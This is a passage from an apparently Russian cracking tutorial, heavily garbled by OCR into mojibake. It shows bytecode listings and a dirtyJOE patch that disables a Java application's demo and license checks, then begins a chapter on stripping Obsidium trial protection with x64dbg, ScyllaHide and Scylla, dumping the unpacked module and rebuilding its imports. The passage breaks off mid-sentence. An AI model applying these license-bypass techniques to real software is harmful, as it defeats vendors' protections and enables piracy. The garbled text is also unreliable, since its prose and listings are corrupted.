pyeT cBo#t 6alT-KOA, a KOMIMJIHPYET €ro B HATHB BO BPEMs BBHIIIOJIHEHHA. JTOT MpPOLECC
Ha3bIBaeTCsA KOMIIIALKEH just in time, wiu JIT. Haunnas ¢ 7-i Bepcun Java BBena 6osee
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CTPOTYI0 NMPOBEPKY M HEMHOro M3MEHWIa (opMaT kiacca — 4YTOOBI cOmEpXKaTh KapTy
CTeKa, UCMOJIb3YEMYIO ISl POBEPKH NMPaBHIIBHOCTH Koja. [[aHHas omunOka BO3HHKAeT
MpHU KOMIWISAUMH GaiT-KoJa METOAA isDemo: MEPBbIE 1BE MHCTPYKLHH, KOTOPBIE MBI HC-
MpaBWJIH, KOMIIWJIMPYIOTCS YCIEIIHO, a BOT CIeyIoIas 332 HUMH 10 CMELIEHHUIO 2 OT Ha-
yajga MeToja (nop I ONKOJ 0) BBI3BIBAET OMIMOKY BepH(HKALHUH, IOCKOJIBKY Y Hee HET
JOITyCTHMOM COOTBETCTBYIOLIEH KapThl CTEKA.

ITo ngee B kauecTBE 0OXOIHOTO MYTH MOXHO OBLIIO OBl 100aBUTh -noverify B apryMEHTHI
JVM, 4To0b! OTKIIOYUTH NpoBepky. B Java 7 Takxke -xX:-usesplitverifier MO3BOJIsIA
UCII0JIB30BaTh MEHEe CTPOTHil METOJ MPOBEpPKH, HO 3Ta OMuUHUs ObLla yaaieHa B Java 8.
Pa3zyMeeTcs, 3TO He Halll METO/I, BEb Mbl XOTHM MOJIYYHUTh MOCJE NMaT4a paboTocrnocob-
HBIH KO 0€30 BCAKHX KOCTBUICH, TeM 0OoJiee Hala 3aa4a, Kak s yxKe TOBOPHII, CTapTyeT
B KadecTBe ciyx0bl. [TonpoOyeM pa3zo0OpaThcs, kKak MPOUCXOIUT BepHbHUKALUS.

Komnunsrop pa3busaer 6alT-koa MeTOJa Ha yYacTKH IO omepauusM BeTBieHHs. Kon-
TPOJIbHBIE TOUKH HaXOIATCSA MM cpa3y 3a onepaTtopamMH 6e3yClIOBHBIX NEpexonoB (BO3-
BpPaTOB M NPOYUX TYMHKOBBIX BETOK KOJa), WM B MECTaX, Ha KOTOPbIE €CTh MEPEXO.IBI.
B 3Tux TOukax KOHTpOJIMpYETCS COCTOsSHHE cTeka. IIoCKONbKy Jorvka Meroja isDemo
HAaCTOJIBKO JIMHEHHA, 4TO AJ1s ee BepU(HKalHH KOMIIMIATOP AaXKe HE CTajl 3aBOJUTh Kap-
Ty CTeKa, TO [UI1 NpHMEpa BO3bMEM JAPYIYIO NPOLENYypYy, KOTOpYI0 HaM TpedyeTcs mo-
NpaBUTh, — setDefault. Kox ee nocie koMnumisiuuy B JVM KOMaHIb! BBITJISINT BOT TaK:

0: aload 0

1: iconst 1

2: invokevirtual #51 // Method hasModule: (I)Z
5: ifeq 101

8: aload 0

9: getfield #4 // Field

modulesItems:Ljava/util/concurrent/ConcurrentMap;

12: invokeinterface #20, 1 // InterfaceMethod
java/util/concurrent/ConcurrentMap.entrySet: () Ljava/util/Set;

17: invokeinterface #21, 1 // InterfaceMethod
java/util/Set.iterator: ()Ljava/util/Iterator;

22: astore_1

23: aload 1 // TlepBasi KOHTPOJIbHAS TOYKA: HAdasjuo UMKIIA, I[IyHKT
Has3HaueHusa Oe3yCNIOBHOTO nepexoda m3 #58, #95, crek nycT, nokanlbHas [NepeMeHHas
iter wnacca iterator

24: invokeinterface #22, 1 // InterfaceMethod java/util/Iterator.hasNext: ()2
29: ifeq 98
32: aload 1

33: invokeinterface #23, 1 // InterfaceMethod
java/util/Iterator.next: () Ljava/lang/Object;

38: checkcast #24 // class java/util/Map$Entry
41: astore 2
42: aload 2

43: invokeinterface #46, 1 // InterfaceMethod
java/util/Map$Entry.getKey: () Ljava/lang/Object;

48: checkcast #47 // class java/lang/Integer

51: invokevirtual #48 // Method java/lang/Integer.intValue: ()I
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54: iconst_1

55: if icmpne 61
58: goto 23|
61: aload 2 // BTOpas KOHTPOJIbHas TOUYKa: Clola eCTb YCJIOBHBIL

nepexon u3 #55, cTek NycT, IOMNOJHUTEJIbHO K IpPeIkTyweil JIOKaJlbHas [epeMeHHas
Map.Entry item

62: invokeinterface #25, 1 // InterfaceMethod
java/util/Map$Entry.getValue: () Ljava/lang/Object;

67: checkcast #8 // class com/license/modules/BaseModule
70: invokevirtual #44 // Method
com/license/modules/BaseModule.close: ()V

73: aload 1

74: invokeinterface #45, 1 // InterfaceMethod java/util/Iterator.remove: ()V
79: aload 0
80: aload 2

81: invokeinterface #46, 1 // InterfaceMethod
java/util/Map$Entry.getKey: () Ljava/lang/Object;

86: checkcast #47 // class java/lang/Integer

89: invokevirtual #48 // Method java/lang/Integer.intValue: ()I
92: invokespecial #49 // Method onModuleUpdated: (I)V

95: goto 23

98: goto 171 // TpeTbsi KOHTPOJIbHAS TOYKA: Majio TOT'O, YTO

cremyeT 3a ryyxiM Oe3yCJIOBHBIM [EPEeXONoM, BIODABOK €CThb YCJIOBHHIM nepexon mu3 #29,
CTEeK IYyCT, JIOKAJIbHHIE [E€PEMEHHBEIE OTCYTCTBYIOT

101: aload 0 // UeTBepTas KOHTPOJIbHAS TOYKA: CJedyeT 3a IUIyXiM
6e3yCJIOBHEIM MEPEXOOOoM, KOHel LUMkja #5, CTEeK MyCT, JIOKAJIbHEIE MEPEMEHHEE Te Xe
102: invokespecial #52 // Method closeModules: ()V

105: aload O

106: getfield #7 // Field modulesConfig:Ljava/util/Map;

109: iconst 1

110: invokestatic #10 // Method

java/lang/Integer.valueOf: (I)Ljava/lang/Integer;

113: invokeinterface #27, 2 // InterfaceMethod

java/util/Map.containsKey: (Ljava/lang/Object;) Z

118: ifne 122

121: return

122: aload 0 // TlaTass KOHTPOJIbHAS TOYKA: ClOa YCJIOBHBIA NEpPexon
u3 #118, cTek MyCT, JIOKAJbHEIE [IEPEMEHHHIE TE Xe

123's ieonst _d

124: invokespecial #53 // Method
getModule: (I)Lcom/license/modules/BaseModule;

127: astore 1

128: aload 1

129: ifnull 171
132: aload_ 1

133: iconst_ 1

134: invokevirtual #54 // Method
com/license/modules/BaseModule.setEnabled: (Z)V

137: aload 0
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138: getfield #4 // Field
modulesItems:Ljava/util/concurrent/ConcurrentMap;

141: iconst_1

142: invokestatic #10 // Method

java/lang/Integer.valueOf: (I)Ljava/lang/Integer;

145: aload 1

146: invokeinterface #55, 3 // InterfaceMethod
java/util/concurrent/ConcurrentMap.put: (Ljava/lang/Object;Ljava/lang/Object;)L]
ava/lang/Object;

151: pop

152: getstatic #31 // Field log:Lorg/slf4j/Logger;
155: ldc #56 // String Default module loaded ({}
157: aload_1

158: invokevirtual #57 // Method

com/license/modules/BaseModule.getName: () Ljava/lang/String;

161: invokeinterface #58, 3 // InterfaceMethod

org/slf4j/Logger.info: (Ljava/lang/String;Ljava/lang/Object;)V

166: aload 0

167: iconst 1

168: invokespecial #49 // Method onModuleUpdated: (I)V

171: return // TlocrnenHsss KOHTPOJIbHAA TOUKA: Cioda YCJIOBHBIA
nepexon nu3 #129, cTek NycT, JIOKAJbHHE [I€PEMEHHHE Te Xe

Tenepp paccMOTPMM KapTy CT€Ka, KOTOPYH KOMIHMJIATOP CreHEpHpOBal Ui JaHHON
npouenypsl. K coxanenuto, dirtyJOE noctatouHo crapblif U ChIpOH HHCTPYMEHT, 4TOOBI
NpaBUTh MM XOTA 6bI 0TOOpaXaTh KapTy creka. MakCUMyM, 4TO OH MOXXET NI0Ka3aTh, —
3TO ee Halu4Ke B BUAe aTpulyTa MeToaa StackMapTable. Ilo3ToMy ansi mpocMmoTpa Kap-
ThI CT€Ka BOCIOJIb3yEMCS CTAaHAAPTHOH YTHIIUTOH javap u3 nakera JDK:

"C:\Program Files\Java\jdk-17.0.1\bin\javap.exe" -v LicenseModules.class

StackMapTable: number_of entries = 6 <———-- llecTs ¢permMOB BCETO

frame type = 252 /* append */ L===== llepBaa Touka, Tun append
O3HauyaeT, 4YTO ¢perM MMeeT Te Xe JIOKaJIbHBlE [IepPEeMEHHBle, YTO M Npemslmyupsi
(KOTOPOT'O y HacC HeT, TaK KakK ¢perM MnepBbli), 3a MCKIIOUEHMEM TOTO, YTO OlpelesieHbl
k IDOMOJNHMTENBbHEIX JIOKAJIbHEIX MEePEMEHHBIX M YTO CTEeK ONEPaHIOoB NycT. 3HaueHue k
onpenenserca d¢opmynon frame type - 251 = 252 - 251 = 1, mnokanbHas NepeMeHHas

offset delta = 23 S===== CMmelleHre OT Hadana
MOnoyJs
locals = [ class java/util/Iterator ] <————= Tun JIOKaJIbHOM NepeMeHHOM
frame type = 252 /* append */ <---- To Xe caMoe, UTO ¥ Npembloyuysi,
HO moBaBunach JIOKanbHas nepeMeHHas 252 - 251 =1
offset delta = 37 G—=—=- CMeweHne oOT
npemioymero ¢perma, To ectb 24 + 37 = 61
locals = [ class java/util/Map$Entry ] <----- Tun HOBOM JIOKAJILHOM
[1epeMeHHOM
frame type = 249 /* chop */ <---- Takoi Tun operma MMeeT Te

Xe JIOKaJlbHEIE [1€peMeHHRIe, 4YTO U npenbmymwz Q)pef?[M, 3a MCKIIOYeHreM TOI'O, YTO
OTCYTCTBYIT NOCJIenHne k JOKamnbHEIX [NepeMeHHEIX ¥ 4TO CTeK OIepaHIOB IIYyCT.
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3nauenme k ompenensercs dopmynoit 251 - frame type = 251°- 249 = 2, gee
JIOKAJIbHEIE TI€pEeMEeHHEEe yOMpanoTCcs

offset_delta = 36 L=———== CmeleHue oT
npempgymero ¢perma, To ectk 62 + 36 = 98
frame type = 2 /* same */ <————- 3ToT TMn OdpermMa

YyKaz3bBaEeT, YTO .OpeliM MMeeT TOUHO TakMe Xe JIOKAJIbHHE [epPEeMeHHEe, UTO U
npempmyuws: ¢perM, ¥ YTO CTEeK OnepaHmoB IIyCcT. CMmelleHMe onpenenseTcs TUIIOM, TO
ects 99 + 2 = 101

frame type = 20 /* same */ Se=—== To xe, 4YTO U NpeInOyupsi,
cMmemenme 102 + 20 = 122

frame_type 48 /* same */ <————- To %€, UYTO U MNpensayussi,
cMmeleHve 123 + 48 = 171

Hrak, 1 Hageloch, MHE yIaloCh JOHECTH B 3TOM IIPHMeEpE JIOTHKY paboTs! BepudHuKaTopa
yepe3 stack map. Uto HaM 310 maer Ha npakTHke? Bo-nepBrIX, CTAHOBHTCS MOHATHO, MO-
yeMy He paboTaeT Haul NepBOHAYANBHBIA ATy isDemo: HCXOAHBIA KOA OB IMHEHHBIM U
HHKakoH Bepudukauun yepe3 GppeiiMbl creka eMy He TpeboBanoch, a Halla NpaBka Majio
TOro, 4To N00aBHJIa KOHTPOJBHYIO TOUYKY (cleayrommid OalT 3a INIyXHM ireturn), TaK
ellle ¥ caelaia XBoCcT MeToa 6e3yMHbIM U1 komnunaropa. [Tockonbky cnoco6a Ob1cTpo
U IPOCTO YKOPOTHTH pa3Mep koaa Meroaa yepes dirtyJOE Her, To camblii mpocTol MeTOX
JOOHMTBHCS YCIEUIHOro NMPOXOXKIEHHS HAIlIHM KOJOM BepHGHKauHH — 3a0UTH BCE TENo
nop’aMH ¥ TOJIBKO B KOHLIE OCTaBHTh return false:

00000000 : nop

00000001 : nop

00000002 : nop

00000003 : nop

00000003 : nop

00000005 : iconst_ 0

00000006 : ireturn

Boo01e roeops, crparerus natya B JaHHOM CIIy4yae — CJIEIHThH 332 KOHTPOJBHBIMH TOY-
KaMH ¢GperHMOB CTeKa H MpPH MpaBKe KOAA CTapaThCs HE BBIXOAMTH 32 MX NpEAessl HIIH
XOTs OBI ClleANTh, YTOOBI KJIACCHI JIOKAIBHBIX IEPEMEHHBIX H 3HAYEHHH Ha CTeKe Iocie
[IPaBKH COOTBETCTBOBAJIM APYT ApYry. Mo>kHO, KOHEYHO, NIPH >KEJIaHHWH MIPABHTh U CaMH
aTpuOyTHl StackMapTable B ILIECTHAALATEPHYHOM pENAKTOpE, HO 3TOT KpaHHHH ciaydal
MBI paccmarpuBath He Oynem. UyTe He 3a0blT HAOMHHTB, YTO IPH CIOXHOH NpaBKe
CTOMT YYHTHIBATh BepHPHKaLHIO 00JIACTH BUIHMOCTH JIOKAJIBHBIX IEPEMEHHBIX (aTpHOYT
localvariableTable) H O10kOB 00paboTku uckmoueHud (oxkHo Exceptions). Ilo cua-
CThI0, pEJAKTHPOBAHHE ITHX N1aPAMETPOB JOCTATOYHO IJIEMEHTAPHO H MOAEP>KUBAETCS B
dirtyJOE (puc. 8.3, 8.4).

MooxeT oKa3aThbCsi, YTO YYECTh BCE BBILIEONHCAHHbIE TPEOOBAHUS — YyJOBHIIHO CIIOX-
Has 3a7a4ya, 0COOEHHO KOrJa METOJ UCIOIb3yeT BEChbMa Pa3BETBICHHYIO JIOTHKY, a MpaB-
KH YBEJIHYHMBAIOT pa3Mep KoJa. TeM He MeHee 3TO TOJBKO Ha NEepBHIN B3MUIAA: IPH J0CTa-
TOYHOH CHOpPOBKE BIIOJIHE peabHO HAalTH HeoOs3aTenbHble MecTa B KoJe, Onaroaaps omn-
THMH3aLHH KOTOPBIX MOXXHO PacLIMPHTh HYXHBIE. 5| cnienHansHO BRIOpa TakoOH METOX
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(setDefault), B KOTOPOM 3a CYET Pa3HHUIIbI B AJTMHAX KOMaH[ (KOMaHJa iconst 1 3aHHUMa-

eT ouH 6ailT, a KoMaHaa I 3aMeHBI sipush 256 — IEJBIX TPH) KOJ CYILECTBEHHO Y-
JIMHSAETCA.

Edit Exception i.l
StartPC: End PC: Handler PC:

EE | oo | [owos ]
Catch type:

{CoNSTANT G- savalomgformptin

Puc. 8.3. Edit Exception

Edit LocalVariableTable

iter
mod
this

Puc. 8.4. Pegaktuposanue napametpos 8 dirtyJOE

Tem He MeHee, UMesl MPEJCTABICHHE O MPUHLMIAX BepU(UKALMHU, AaXe B 3TOM Clyyae
JIOCTAaTOYHO OBICTPO MOXHO CMAacCTEPUTh XOTh M HE HACANbHBIHA, HO BIONHE pabouwii
naT4, KOPpeKTHO NMPOXOMALINI BepUPHUKALMIO U OTKPBIBAIOIIHNA HYXHBIH pPEeXHM B IPO-
rpaMMe:

00000000 2A aload 0

00000001 04 iconst 1

00000002 B6 00 33 invokevirtual boolean
com.license.modules.LicenseModules.hasModule (int)

00000005 99 00 60 ifeq pos.00000065

00000008 2A aload 0O

00000009 B4 00 04 getfield java.util.concurrent.ConcurrentMap
com. license.modules.LicenseModules.modulesItems

0000000C B9 00 14 01 00 invokeinterface java.util.Set
java.util.concurrent.ConcurrentMap.entrySet (), 1

00000011 B9 00 15 01 00 invokeinterface java.util.Iterator
java.util.Set.iterator(), 1

00000016 4C astore 1
00000017 2B aload 1
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00000018 B9 00 16 01 00 invokeinterface boolean
java.util.Iterator.hasNext (), 1

0000001D 99 00 45 ifeq pos.00000062

00000020 2B aload 1

00000021 B9 00 17 01 00 invokeinterface java.lang.Object
java.util.Iterator.next (), 1

00000026 CO 00 18 checkcast java.util.Map$Entry

00000029 4D astore 2
0000002Aa 2C aload 2

0000002B B9 00 2E 01 00 invokeinterface java.lang.Object
java.util.Map$Entry.getKey (), 1

00000030 CO 00 2F checkcast java.lang.Integer

00000033 B6 00 30 invokevirtual int java.lang.Integer.intValue ()
00000036 04 iconst 1

00000037 AO 00 06 if icmpne pos.0000003D

0000003A A7 FF DD goto pos.00000017

0000003D 2C aload 2

0000003E B9 00 19 01 00 invokeinterface java.lang.Object
java.util.Map$Entry.getValue(), 1

00000043 CO 00 08 checkcast com.license.modules.BaseModule
00000046 B6 00 2C invokevirtual void

com. license.modules.BaseModule.close ()
00000049 2B aload 1

0000004A B9 00 2D 01 00 invokeinterface void java.util.Iterator.remove(),
1

0000004F 2A alocad O
00000050 2C aload 2

00000051 B9 00 2E 01 00 invokeinterface java.lang.Object
java.util.Map$Entry.getKey(), 1

00000056 CO 00 2F checkcast java.lang.Integer

00000059 B6 00 30 invokevirtual int java.lang.Integer.intValue ()
0000005C B7 00 31 invokespecial void
com.license.modules.LicenseModules.onModuleUpdated (int)

0000005F A7 FF B8 goto pos.00000017

00000062 A7 00 49 goto pos.000000AB

00000065 2A aload 0O

00000066 B7 00 34 invokespecial void

com.license.modules.LicenseModules.closeModules ()
00000069 2A aload 0O

0000006A B4 00 07 getfield java.util.Map
com.license.modules.LicenseModules.modulesConfig
0000006D 04 iconst 1

0000006E B8 00 OA invokestatic java.lang.Integer
java.lang.Integer.valueOf (int)

00000071 B9 00 1B 02 00 invokeinterface boolean
java.util.Map.containsKey(java.lang.Object), 2
00000076 9A 00 04 ifne pos.0000007A
00000079 Bl return
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0000007A 2A aload 0
0000007B 11 01 00 sipush 256

0000007E B7 00 35 invokespecial com. license.modules.BaseModule
com. license.modules.LicenseModules.getModule (int)

00000081 4C astore 1
00000082 00 nop
00000083 00 nop
00000084 2B aload 1
00000085 04 iconst 1

00000086 B6 00 36 invokevirtual void
com. license.modules.BaseModule.setEnabled (boolean)

00000089 2A aload O

0000008A B4 00 04 getfield java.util.concurrent.ConcurrentMap
com. license.modules.LicenseModules.modulesItems

0000008D 11 01 00 sipush 256

00000090 B8 00 OA invokestatic java.lang.Integer

java.lang.Integer.valueOf (int)
00000093 2B aload 1

00000094 B9 00 37 03 00 invokeinterface java.lang.Object
java.util.concurrent.ConcurrentMap.put (java.lang.Object, java.lang.Object), 3

00000099 57 pop
00000092 2A aload 0

0000009B 11 01 00 sipush 256
0000009E 00 nop
0000009F B7 00 31 invokespecial void

com.license.modules.LicenseModules.onModuleUpdated (int)
000000A2 00 nop
000000A3 00 nop
00000024 00 nop
000000A5 00 nop
000000A6 00 nop
000000A7 00 nop
000000A8 00 nop
00000029 00 nop
000000AA 00 nop
000000AB Bl return

Kak Buauib, HECMOTpPS Ha CHIPOCTh M 3a0pOLIEHHOCTh NpoeKTa (rmocienHss Bepcus 1.7
Obl1a onmyOnaMkoBaHa Ha odHUHANBHOM caiite ax B koHue 2014 rona), dirtyJOE mpen-
cTaBnsieT coboif BecbMa MOJIE3HBIH WHCTPYMEHT, He3aMEHHMBIH s matda o6¢ycuupo-
BaHHBIX MPOEKTOB U MPHIOKEHHA, HAKPBITBIX MPOTEKTOpaMH. [IOMHMO OMHCAaHHBIX BbI-
nIe, y Hero Macca ApPYrHX HOJE3HbIX GUY: ¢ ero MOMOLIBIO MOXKHO PE€NaKTHPOBATh U I0-
0aBJIATh HOBBIE KOHCTAHTHI M MOJNs (MOXXHO N00aBNATH JakK€ HOBBIE METO.BI, MpaBia
nycteie). [ns pacmiudpoBKH KPHUINTOBAHHBIX CTPOK €CTh BO3MOXHOCTH MOJKIIOYHTH
OJIb30BATEILCKHE CKPHUIITHI HAa MHUTOHE, caMa MporpamMma uMeeT 32- u 64-OuTHbBIE Bep-
CHM U Jaxe cyuecTByeT B Buae miaruHa k Total Commander. Hagerock, 4To 3HaKOMCTBO
C IaHHOHM YTHIMTOI MOoMoXeT Tebe OCBauBaTh peBepc U NaTyuHr JVM-npunoxxeHui.
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Obsidium fatality.
O6xoauM TpuanbHYHO 3aLWUTY
NONYNAPHOro NpoTeKTopa

MBK

CeromHsi Mbl IPOJOJDKHM Pa3roBOp O MOMYJIAPHBIX 3allUTaX MPOrpaMM H O crocodax ux
obxoma. Ha ouepenu Obsidium (http://www.obsidium.de/), koTopsIii cunTaeTcsi OTHHUM
U3 CaMbIX CEPbE3HBIX MHCTPYMEHTOB Hapsany ¢ VMProtect u Themida. Cpeau 3asBieH-
HBIX (QYHKUHH — IMOJHBIH JKEHTIbMEHCKHH Habop: BUpTyalH3alus, aHTHOTIaaKa, 00-
HapyxeHue VM, 3amuTa namsTd, IpoBepka LIEJTOCTHOCTH, 3alllUTa UMIOpTa, cBOH API
U UIHTETPallii B T0Jb30BATEIbCKYH0 IPOrpaMMy H IPOYHE BKYCHOCTH, OCJTIOXHSIOILHE
YKH3Hb IPOCTOMY XaKepy.

BHUMAHMUE!

MaTtepran vMeeT O3HaKOMUTENbLHBLIM XapakTep W npegHasHadeH Ans cneunanuctoB Mo
6e3onacHoCTW, NPOBOAALIMX TECTUPOBAHWE B paMKax KOHTpakTa. ABTOp WM peaakuusi He He-
CyT OTBETCTBEHHOCTU 3a ntobon Bped, NPUYMHEHHLIA C NPUMEHEHUEM U3NOXEHHOW UHEOP-
‘Mauuu. PacnpocTpaHeHvWe BPedoOHOCHbIX NporpaMM, HapyweHue paboTbl CUCTEM U Hapy-
LUeHWe TalHbl Nepennuckn NpecneayTcs No 3aKOoHY.

Ha npumepe nporpaMmsl, HCrIONIb3ylOILEH OAHY M3 mocienHux Bepcuil Obsidium, no-
npobyeM pazobpaTh ciabble U CHIbHBIE MECTa 3TOH 3allUTHL. Y pa3paboT4YHKOB BeChbMa
HONYJIAPEH OAMH CcrOco0 3alMUTHI MPHIOKEHH: MOJIb30BATEN0 MPEJOCTABIAETCS O3Ha-
KOMHTEJbHBIN NEpHo paboThl ¢ MPOrpaMMOi — MOXKHO HCIIOJIb30BaTh €€ OMpPEAEIeHHOE
BPEMsI HJIH BBIITOJHUTH ONpeeIeHHOE KOJIMYECTBO 3ayCKoB. ECTh Takast BO3SMOXXHOCTD H
y Obsidium. CxayaB ¢ oduIHaIbHOIO caiiTa JeMOBEPCHIO 3AILHUTHI (MOCIENHASA aKTyallb-
Has Bepcus — 1.7.3.3), 3anyckaem ee (puc. 9.1).

s Hayana, Kak HaM COBETYIOT, CO3/1alM HOBBIH MPOEKT M B €ro HACTPOHKaX yKaKem
3alllUTy MPHIOXKEHHUs B BUAE TPHAIBHOTrO nepuoxaa. [ns 3Toro »kMeM B JIEBOH BEpTH-
KaJbHOW MaHeNy rpaduyeckyro KHOMKY ¢ ecTepeHkamMu Settings U OTKpbIBaeM BTOPYIO
crpaBa Bkianaky Time trial (puc. 9.2).

Kak Buauie, 31ech npUCyTCTBYET TAaKOH ke KEHTIbMEHCKUH Habop GyHKUMH, KaKk U B
Enigma:

a TpHal o0 onpeuenemloﬁ JaThI;
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O Tpuan Ha onpeneneHHOE KOIHYECTBO JHEH;

0 TpHaJI HAa ONTPE€ACTICHHOC KOJIMYECTBO 3aITyCKOB.

- Obsi

»

{} test.opf idium Software Protection System -_ X

Pm.pd mamgemm‘ st AR S
{

Creates a new project file. All unsaved changes made to
- HER "‘i“tw the current project will be lost.

Loads a previously saved project file. All unsaved changes
made to the current project will be lost.

Saves the current project for later use.

- Compatibility
The project is up to date.

Note: When starting Obsidium, you rnust either create a new project file or load an
existing one.

Puc. 9.1. WHTepdetic Obsidium

HemHOro HeO4eBHIHBIM Ka)XEeTCs MpeJHa3HAYCHHE YEThIpEX MOJeil BBOJA B JIEBOH HIK-
Hel yacTH okHa nox oommM 3aronoBkoM User-defined trial counters. Ha camom nene,
Kak s y)K€ rOBOpHII, AJIA Te€X NPHUBEPEIUBBIX [I0Jb30BaTeNel, KOTOPhIM Majo CTaHAapT-
HOH 3aLIMTHI 10 BpEMEHH HJIM KOJIHYECTBY 3amyckoB, Obsidium npeanaraer Habop cBOHX
GyHKUMR A0 MHTErpauuy B mporpammy. B kauecTBe oJHOro M3 BapHaHTOB pa3padOTHHK
MOXET yCTaHaBIHBaTh COOCTBEHHbIE TPHAIbHBIE CYETYHKH, KOHTPOIHPYEMBIE MIPSIMO U3
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KOZIa BO BpEMs BBIMOJHEHHS NPOTpaMMEI. DTO YETHIPE LENOYVCIeHHbIe 16-OUTHEIE me-
pPEMEHHBIE, COXPaHAEMBIE B CHCTEME IO CIEAYIOIIEro 3alycka NporpaMMbl, 3HaY€HHs
KOTOPBIX MOXHO YHTaTh (PyHKIHMEH int obsGetTrialCounter (DWORD dwCtrIdx) M JEKpe-
MEHTHpPOBaTh (QYHKLHEH bool obsDecTrialCounter (DWORD dwCtrIdx, short wValue).
3Ty GYHKUHIO MOXHO HCHOJB30BaTh, HAPUMEP, €CJIH MBI XOTHM, 4YTOOBI Iporpamma
Mocjie AECATH COXpaHEeHUH OmokupoBana QyHKUHIO Save u mpopoypkana ganblie pabo-
TaTh KaK HU B 4eM He ObIBasio, 0e3 nanpHeed BO3MOXKHOCTH COXPAHUTE (aiii Ha JHCK.
3TOT HHCTPYMEHTapHil NpPEIOCTaBIsAET IOJb30BaTENsAM Ooyiee rHOKHE BO3IMOMXHOCTH
ynpasiieHHs TpyuaioM (puc. 9.3).

{i test.opf - Obsidium Software Protection System

peMo obh=:chiLim |

software protection system

Project settings

Basic Advanced Licensing | Time trial | Messages

[ Expire on: [J Allow application to expire
07.11.2021 @~ ]
I | [Jallow new tria! period, version:
[ Limited number of runs: ll'o
c SN ekl
e [ pisplay custom nag screen:

- [imited number of days:

30 Delay in seconds:

- [[Juser-defined trial counters: e L

Trial data identifier (blank = default)

Counters can hold values from 1 to
65535. Unused counters should be
left blank.

Puc. 9.2. Hactpansaem TpuanbHbid NEpUoAa AnNA NPorpammbl
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DEMo o=l

Protection : , ‘ .
 Settings | Executables | pata files Integrity check Signatures Code signing

i Input file Relative output path
C:\1\Obsidium\test\test.exe test_prot.exe

'Qutput file C:\1\Obsidium\test\test_prot.exe "
QOpening input file...

Checking input file...

Handling imports...

Creating/writing protection code...

Hint: Use runtime encryption to increase security.
Handling imports...

Compressing section, 0x0002A000 bytes
Compressed size 0x00009030 bytes
Compressing section, 0x00002000 bytes
Compressed size 0x00000958 bytes
Compressing section, 0x00002000 bytes

Compressad size 0x000006C4 bytes
:es;‘-ful

Pwuc. 9.3. 3awuta ycraHosneHa!

[Tocne ycTaHOBKH HYXHBIX NMapaMETPOB 3aIUMTHl XKMEM BTOPYIO CHH3Y KHONKY B JIEBOH
naHemy ¢ Hagnmucblo PROTECT, 3arem Ha Biiaake Executables BoiOupaem ¢aiin 3a-
IMIAEMOH MpOIpaMMBI U, HaKOHeELl, HaxkuMaeM KHonky Protect all. Teneprs Hame npu-
J0oXKeHHe 1o 3amuToit aeMoBepcur Obsidium, o ueM Ham OyneT HamOMHHATH pa3zapa-
XKAoILEee OKOLIKO IPH KAXKAOM €€ 3aIycKe.

[ToTpeHHpoBaBILIKCEH HA KOLLUKAaX, IEpeiIeM K B3IoMy NMpHiIoxeHus. Utak, y Hac uMeeTcs
TpHaNbHas Bepcus nporpamMmsl, kotopyio DIE naentuduumpyer cneayromum odpasom:
text

Obsidium v1.5.4.x - [ vl1.6.x.x - 1.x.x ] - Obsidium Software - www.obsidium.de
*ACM , Overlay : FE4711... Nothing detected
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C nepBoro B3risAa OYEBHIHO, YTO 3arpy’aTh Takoe B AH3accemOiep CoBeplLIeHHO Oec-
NOJIE3HO: KOJ CHJIBHO CXKaT MJIM 3allugpoBaH (Ha caMoM Jene U To, U apyroe). Cekunu
NyCThle, U3 HMIOPTAa HMEKOTCS B HAJIMYHH Bcero detbipe ¢yHKuuH. [lompobyeM cpasy
3arpy3uTh POrpaMMy B OTJIaJHHK.

Bocnons3yemcs x64dbg, n6o B HeM ectb npekpacHsle ruarkabl Scylla u ScyllaHide, xo-
TOpble HaMm oueHb npuroaircsa. K mpumepy, uis Toro ytoObl He mamuTh aedarrep, B
ScyllaHide cymectByeT cneunanbHblii NpodHiab, 3aTOUYEHHBIH HCKIOYHUTENBHO O]
Obsidium. Bknrouaem ero 1 HaYHHaeM TPaCCHPOBKY.

XoxaeHue no 6e3yMHOMY KOJy NPOTEKTOpPa — JOBOJIbHO HYAHOE 3aHATHE, U BIOOABOK
Hebe3onacHoe, 60 Obsidium, kak 1 Jpyrue «B3pocible» 3awuTsl THIa VMProtect, yme-
€T KOHTPOJIHPOBaTh BPEMs MPOXOXKAEHHUS ONpPEIENeHHbIX yYacTKOB KOAa BHYTpH ceOsl.
CKpbITh COOCTBEHHOE PHUCYTCTBHE HaM He nmoMoxxeT Hukakas ScyllaHide. Bno6aBok Mbl,
0 MOeMY OOBIKHOBEHHIO, XOTHM BCE CHeNaTh MAaKCHMalbHO OBICTPO M C MHHHMYMOM
3aTpar, NO3TOMY MPOCTO O3BOJHM I[IPOrpaMMe 3allyCTUThCS A0 MOSBICHHA Ha 3KpaHe
OCHOBHOTO OKHa.

[Tporpamma mpeBocxoaHO 3amyckaercs M gaxe npepbiBaercs — ScyllaHide npekpacHo
0TpadaThIBaeT CBOE Ha3HaueHHe. B 3TOT MOMeHT Mbl BUAMM paclundpoBaHHBIA U pacna-
KOBaHHBIA MOJYJb, KOTOPBIHA MOMBITAEMCS CIAMIHUTh NMPH NMoMoIlux To# e Scylla. s
3TOrO OCTaHaBJIHBAaEMCs TIe-HHOYIb BHYTPH KOJa OCHOBHOTO MOAYJS M OTHOCHTEIBHO
JAHHOTO OEP JenaeM aBTonoHck IAT. [locne yero Get Imports BbliaeT OueHb AJTHHHBINR
CIIHCOK OIIHOOK, HO ITPH 3TOM BCE-TAaKH CTPOUT TabJHLly HMIIOpTa.

KponotnuBo BbIMapbiBaeM NOMEUYEHHblE KPAaCHbIMH KpPECTHKaMH OLIMOOYHBIE HOABI H
JaMmInuM Moxaynb. Bpone Obl Bce XOpoIo, Mbl, KaXeTcsl, MOJYyYHId YHCTBIH MOIYJb CO
CHATBIM IPOTEKTOPOM, HO, K COXAJIEHHIO, C [TOJIIHHKA paboTaeT Takoe JaleKo He BCerja.
B yacTHOCTH, Mocie JaHHOH NMpolLeyph! Halll MOJYJIb OTKa3bIBaeTCs 3alyCKaThCsl — IPH
3TOM HE BbIAAeT HUKaKOH OLHOKH, IPOCTO MOJIYa 3aBEPLIAETCS.

[Ipu OmmxaiieM pacCMOTPEHHH CTAHOBHTCS IOHSATHO NOYEMY: TOYKa BXOJa HalaeHa
HEBEPHO, OHA yKa3bIBacT Ha COBEPLUIEHHO JIEBYIO MYCTYIO mpouenypy. Haitu npaBuis-
HYIO TOYKY BXOJa, 110 HAee, BO3MOXHO (Kak OyJeT MoKa3aHO HHXKE), HO JeNo Jaxe He B
